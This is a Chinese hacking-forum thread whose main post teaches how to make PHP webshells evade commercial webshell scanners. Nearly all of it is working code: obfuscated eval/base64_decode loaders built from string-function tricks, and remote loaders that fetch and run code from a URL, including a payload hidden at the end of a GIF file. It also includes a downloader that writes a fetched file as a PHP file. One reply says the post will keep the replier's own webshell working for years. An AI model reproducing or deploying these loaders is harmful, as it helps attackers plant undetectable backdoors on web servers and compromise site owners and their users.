# php大马检测绕过研究

**URL:** <https://forum.90sec.com/t/topic/56>\
**Category:** 技术文章\
**Created:** [2019 年3 月 5 日 14:08 UTC](https://forum.90sec.com/t/topic/56 "2019-03-05T14:08:11Z")\
**Posts on this page:** 4\
**Page:** 1

<div class="post-metadata">

作者： ![s9mf](https://forum.90sec.com/user_avatar/forum.90sec.com/s9mf/32/525_2.png) [@s9mf](https://forum.90sec.com/u/s9mf)\
发布日期： [2019 年3 月 5 日 14:08 UTC](https://forum.90sec.com/t/topic/56/1 "2019-03-05T14:08:11Z")

</div>

## 前言

* * *

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境，也可以将其称做为一种网页后门。又分大马和小马，大马就是功能比较多的，而小马更像一句话，本文介绍的是免杀PHP大马。

 ![1](https://forum.90sec.com/uploads/default/original/1X/f972c0108969c70015a3e93f43b82d2765f78aa0.jpeg)

## 声明

- 项目脚本仅供学习交流请勿用于非法用途。
- 本文测试的免杀脚本，并不永久免杀，只要一入特征库，就凉了，更多的是思路。

## WAF

* * *

测试用的WAF

| WAF | 下载 |
| --- | --- |
| D盾\_Web查杀 | [http://www.d99net.net/down/d\_safe\_2.1.4.4.zip](http://www.d99net.net/down/d_safe_2.1.4.4.zip) |
| 河马webshell查杀 | [http://dl.shellpub.com/hm-ui/latest/HmSetup.zip?version=1.5.0](http://dl.shellpub.com/hm-ui/latest/HmSetup.zip?version=1.5.0) |
| 深信服WebShellKillerTool | [统一端点安全管理系统aES(终端检测响应EDR)-深信服](http://edr.sangfor.com.cn/tool/WebShellKillerTool.zip) |
| 网站安全狗网马查杀 | [http://download.safedog.cn/download/software/safedogwzApache.exe](http://download.safedog.cn/download/software/safedogwzApache.exe) |
| OpenRASP WEBDIR+检测引擎 | [https://scanner.baidu.com](https://scanner.baidu.com) |

 ![2](https://forum.90sec.com/uploads/default/original/1X/d556d2ca0a13a95953e56c0f551a9ba7305e3abc.jpeg)  
 ![3](https://forum.90sec.com/uploads/default/original/1X/6fee4b7e23ff7413c236883848b046c29a66207a.jpeg)  
 ![4](https://forum.90sec.com/uploads/default/original/1X/ab4d79e7f61a02cd82cbe56aead763f35762e297.gif)

## Test

* * *

首先，我们的思路是以这段代码开始：

```php
<?php
$code = '大马源码base64加密';
eval(base64_decode($code));
?>

```

动图:

 ![5](https://forum.90sec.com/uploads/default/original/1X/f956950f6dc677d802e438902aaa80f5b8e367a9.gif)

waf查杀:

 ![6](https://forum.90sec.com/uploads/default/original/1X/3d625e2b63bdc506cc8035334c80d8a33f32fa8a.jpeg)

分割函数:  
我们把base64\_decode大小写分割成多个变量，再合并，并赋值给其他变量。

```php
<?php
$a = 'bAsE';
$b = '64_dEcODE';
$c = $a.$b;
$d = $c('code');
eval($d);

```

再用WAF查杀:  
D盾\_Web查杀

 ![7](https://forum.90sec.com/uploads/default/original/1X/8f5b448bb971235da8e820175fac9ab23302e72b.jpeg)

河马webshell查杀

 ![8](https://forum.90sec.com/uploads/default/original/1X/295b5b6edf446804fa2dead832c01ee7e52199b0.jpeg)

深信服WebShellKillerTool

 ![9](https://forum.90sec.com/uploads/default/original/1X/f98b2cf7a1062255e37a10f5014aae3cd266dd97.jpeg)

网站安全狗网马查杀

 ![10](https://forum.90sec.com/uploads/default/original/1X/70834e579db909c54fcb685be0d1ed58964308b9.jpeg)

至此绕过以上4个WAF查杀，但是上面那个例子虽然成功绕过了，但是看起来很简单，所以在写一个。

首先我们来了解php中`$$`一个引用变量。

```php
<?php
$a = 's9mf'; 
$b = $a;    
$c = "b";    
echo $$c;  

```

输出:

 ![11](https://forum.90sec.com/uploads/default/original/1X/4f9c6a156a83d970911ced171e682f6e559d445f.jpeg)

利用`$$`和`""`双引号解释变量的特性，我们这样写

### code1

```php
<?php
$a = 'bAsE';
$b = '64_dEcODE';
$fuck = $a.$b;
$d = "fuck";
$e = $$d('code'); // base64_decode('code')
eval($e); 

```

这个`payload`也是绕过以上4个WAF查杀。

## 更多免杀payload

* * *

> 以下的code均可以绕过绕过安全狗、D盾和深信服的客户端Webshell查杀和河马正式版的查杀。

### strrev()函数

- strrev()函数反转字符串。

```php
<?php
echo strrev("s9mf");

```

输出:

 ![12](https://forum.90sec.com/uploads/default/original/1X/04faf673b8c257e1271ce7b695802c756739483b.jpeg)  
利用反转字符串的特性。

### code2

```php
<?php
$a = strrev('EdOcEd_46eSaB'); // base64_decode
$b= $a('code');
eval($b);

```

### str\_replace()函数

- str\_replace()函数替换字符串中的一些字符(区分大小写)

```auto
<?php
echo str_replace("ok","","emokmmokmokm"); 

```

输出:

 ![13](https://forum.90sec.com/uploads/default/original/1X/a9ae1e1f428daff58bdb966365a89a0652e33e59.jpeg)

### code3

```php
<?php
$c = str_replace("s9mf", "", "Bs9mfaSE6s9mf4_Decs9mfOdE"); // base64_decode
$a = $c('code');
eval($b=&$a); 
?>

```

### ltrim()和trim()函数

- ltrim() - 移除字符串左侧的空白字符或其他预定义字符
- trim() - 移除字符串两侧的空白字符或其他预定义字符

```php
<?php
echo ltrim('mmmNice','m')."<br/>";
echo trim('okiii','i');

```

输出:

 ![14](https://forum.90sec.com/uploads/default/original/1X/bb8aba9388d95ff2a590393e16a095cfb230a513.jpeg)

依据这个特性。

### code4

```php
<?php
$a = ltrim('mmmbAsE64_D','m');
$b = trim('ecODeiii','i');
$base = $a.$b;
$c = $base('code');
eval($d=&$c);

```

### 缓解疲劳

 ![17](https://forum.90sec.com/uploads/default/original/1X/b258a38246dc9f8067d3a656238898a7c3e826bf.jpeg)

### implode()函数

- implode() 函数返回由数组元素组合成的字符串。

```php
<?php
$arr = array('ki',' me');
echo implode("ss",$arr);

```

输出:

 ![15](https://forum.90sec.com/uploads/default/original/1X/fb73aef84f59673ab549773558e935086bd9c187.jpeg)

### code5

```php
<?php
$arr = array('base','code');
$a = implode("64_de",$arr);
$b = $a('code');
$c = "\n";
eval($c.=$b);
?>

```

### strtok()函数

- strtok() 函数把字符串分割为更小的字符串。

```php
<?php
$string = "//Hello//dd";
echo strtok($string, "/");  

```

输出:

 ![16](https://forum.90sec.com/uploads/default/original/1X/209f006cfb1b151d43d46a51bac16e4cfd734ff8.jpeg)

### code6

```php
<?php
$string = "//base64_decode//FuuF";
$a = strtok($string, "/");  
$b = $a('code');
eval($d=&$b);

```

### strtr()函数

- strtr() 函数转换字符串中特定的字符。

```php
<?php
echo strtr("pende keky","ek","ab");

```

输出:

 ![18](https://forum.90sec.com/uploads/default/original/1X/65b243aec4456f887613dd133721006de465fe19.jpeg)

### code7

```php
<?php
$a = strtr("bask64_mkcomk","km","ed");
$b = $a('code');
eval($d=&$b);

```

### str\_ireplace()函数

- str\_ireplace() 函数替换字符串中的一些字符(不区分大小写)。

```php
<?php
echo str_ireplace("boy","girl","beautiful boy");

```

输出:

 ![19](https://forum.90sec.com/uploads/default/original/1X/7ea96d68a37c0e27fe846154db17c2a2f62ecebb.jpeg)

### code8

```php
<?php
$a = str_ireplace("uuuiii","4_decode","base6uuuiii");
$b = $a('code');
eval($d=&$b);

```

### 字符串 函数

* * *

通过上面很多例子不难看出很多都用到字符串函数，只要多找写生僻的字符串函数，我们可以很轻松的写出免杀的code。  
更多更详细的[字符串函数](http://php.net/manual/zh/ref.strings.php)

 ![20](https://forum.90sec.com/uploads/default/original/1X/6cddbe899d63445bfb16b024c1158028fb817e41.jpeg)

### 编码/加密

* * *

除了base64加密外，PHP内置很多压缩编码函数：

```php
gzcompress 
gzencode 
gzdeflate 
bzcompress
str_rot13

```

还有混淆加密平台:

- [加密](http://enphp.djunny.com/)
- [phpjm](http://www.phpjm.net/)
- [eval\_gzinflate\_base64类型加密与解密](https://www.mobilefish.com/services/eval_gzinflate_base64/eval_gzinflate_base64.php)

## 远程读取

* * *

动图:

 ![21](https://forum.90sec.com/uploads/default/original/1X/ec6eda71d245130f91af413b8073c0b4840110f8.gif)

**远程读取** 可以很有效的将大马的体积缩小，基本上和常见的 **一句话** 体积差不多，小于1KB就几百字节那样。

## file\_get\_contents()和fopen()

* * *

- file\_get\_contents() 函数把整个文件读入一个字符串中。
- fopen() 函数打开一个文件或 URL。

## 一个例子

首先，我们可以选择最简单的 **file\_get\_contents** 来实现。

```php
<?php  
eval(file_get_contents("http://localhost/test/Hi.txt"));
	//读取远程文本，并执行代码。

```

输出:

 ![22](https://forum.90sec.com/uploads/default/original/1X/29cbdd618921cf60659a948893400e3d52f4fbb7.jpeg)

还得介绍个**substr() 函数**

- substr() 函数返回字符串的一部分。

```php
<?php
 // 输出3个字节后的全部,就是s9mf
echo substr("Hi!s9mf",3);

```

 ![23](https://forum.90sec.com/uploads/default/original/1X/b3cf4e8e89b522eb9cd9b754a9d5b0289f7b1773.jpeg)

### Gif/图片

如果我们加载一个txt的话，是可以执行代码，但是少了些逼格。

#### c32asm

用C32打开Gif/图片，然后将代码粘贴到图片底部，就可以不破坏Gif/图片本身。

 ![24](https://forum.90sec.com/uploads/default/original/1X/dda34b4e3d324a4759e8142422e3ac2777c876d5.jpeg)

直接划到图片代码底部

 ![25](https://forum.90sec.com/uploads/default/original/1X/2be4de16c267ff969d4c5ad5a5a9f424c742e0d0.jpeg)

将大马代码粘贴到底部，然后保存。

 ![26](https://forum.90sec.com/uploads/default/original/1X/839a07de3b69143360a96ebd08d01af7b84a0e38.gif)

### remote

```php
<?php
                                    //远程加载的gif //293930是刚才记录的文件长度
eval(trim(substr(file_get_contents("http://localhost/test/k.gif"),293930)));

```

效果:

 ![27](https://forum.90sec.com/uploads/default/original/1X/6a0c54303b558dcb022a7b4dfe2a6bd1a4115988.gif)

### WAF

OpenRASP WEBDIR+检测引擎:

 ![28](https://forum.90sec.com/uploads/default/original/1X/c03a9ae06619ff83a138f90f00e4aae0eb5788ad.jpeg)

D盾\_Web查杀

 ![29](https://forum.90sec.com/uploads/default/original/1X/b3afd1c75d2381b8a8d0ec71d7dfd153fd0c8339.jpeg)

其他几个Waf也是查杀不出的，篇幅有限，就不演示了。

### 注意

下面开始的代码，只能用txt文字，不支持Gif/图片。

### remote2

```php
<?php
    $s9 = "687474703a2f2f6c6f63616c686f73742f746573742f6f6b6f6b2e747874";
    $m="s9"; //远程URL进行hex编码
    eval(file_get_contents(PACK('H*',$$m)));

```

### remote3

```php
<?php
$a = str_ireplace("fuck","et_contents","file_gfuck");
$c = "a";
$b= $$c('http://localhost/test/okok.txt');
eval($d=&$b);

```

## 远程下载

* * *

```php
<?php
$a = 'http://www.xx.com/s9mf.txt';
$b = 'file'.'_g'.'et_'.'contents';
$b = $b($a);
$c = strrev('stnetnoc_tup_elif');
$c('s9mf.php', $b);
?>

```

## 最后

所以代码都会上传[Github项目](https://github.com/S9MF/S9MF-php-webshell-bypass)，感兴趣的朋友可以看看，持续更新。

---

<div class="post-metadata">

作者： ![dicky](https://forum.90sec.com/user_avatar/forum.90sec.com/dicky/32/467_2.png) [@dicky](https://forum.90sec.com/u/dicky)\
发布日期： [2019 年3 月 16 日 11:58 UTC](https://forum.90sec.com/t/topic/56/2 "2019-03-16T11:58:41Z")

</div>

这个不错，可以说很详细了。

---

<div class="post-metadata">

作者： ![dicky](https://forum.90sec.com/user_avatar/forum.90sec.com/dicky/32/467_2.png) [@dicky](https://forum.90sec.com/u/dicky)\
发布日期： [2019 年3 月 16 日 12:00 UTC](https://forum.90sec.com/t/topic/56/3 "2019-03-16T12:00:36Z")

</div>

有个Php文件 疑似后门 比较复杂 实在没看出怎么利用， 可否研究一下？

---

<div class="post-metadata">

作者： ![cmd](https://forum.90sec.com/user_avatar/forum.90sec.com/cmd/32/22_2.png) [@cmd](https://forum.90sec.com/u/cmd)\
发布日期： [2019 年3 月 19 日 16:44 UTC](https://forum.90sec.com/t/topic/56/4 "2019-03-19T16:44:32Z")

</div>

不错，看了这篇文章后，我的马改一下修修补补又可以用几年了。
